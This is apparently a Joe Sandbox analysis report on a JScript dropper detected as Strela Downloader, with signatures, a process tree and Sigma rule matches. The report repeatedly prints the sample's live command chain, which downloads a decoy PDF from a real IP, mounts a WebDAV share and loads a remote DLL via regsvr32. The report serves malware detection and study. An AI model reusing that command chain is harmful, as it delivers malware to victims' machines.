Edit tour

Windows Analysis Report
1460324287242413198.js

Overview

General Information

Sample name:	1460324287242413198.js
Analysis ID:	1588673
MD5:	dc65ebb04b00500c501f5c65101354ee
SHA1:	6bf19554acee96a025d43d7be008ccef5a8fd7fc
SHA256:	e761f3f95484ffe5f434ed7df868a1e08449647196cbe98635429c191cc62ce3
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3760 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6196 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6584 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 652 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2144 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1636,i,1026210736153619432,10130516545325452977,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3556 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3492 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3128 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3760	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6196, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6584, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6196, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6584, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", ProcessId: 3760, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6196, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6196, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6196, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6196, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6196, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", ProcessId: 3760, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6196, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6584, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3556, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3492, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3128, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3556, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3492, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6196, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1460324287242413198.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1460324287242413198.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1408214388.000001912E3CB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1405164398.000001912E3C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1502909681.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1516676273.000001B9E4348000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517208020.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1501451764.000001B9E439E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1516676273.000001B9E4348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9m
Source: net.exe, 00000007.00000003.1502909681.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517208020.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/:K
Source: net.exe, 00000007.00000003.1502909681.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517208020.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/NK_
Source: net.exe, 00000007.00000003.1502909681.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517208020.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/jK
Source: net.exe, 00000007.00000002.1516676273.000001B9E4348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2686797202.0000021C1E608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1504465342.0000021C1E800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3760, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1460324287242413198.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6264:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

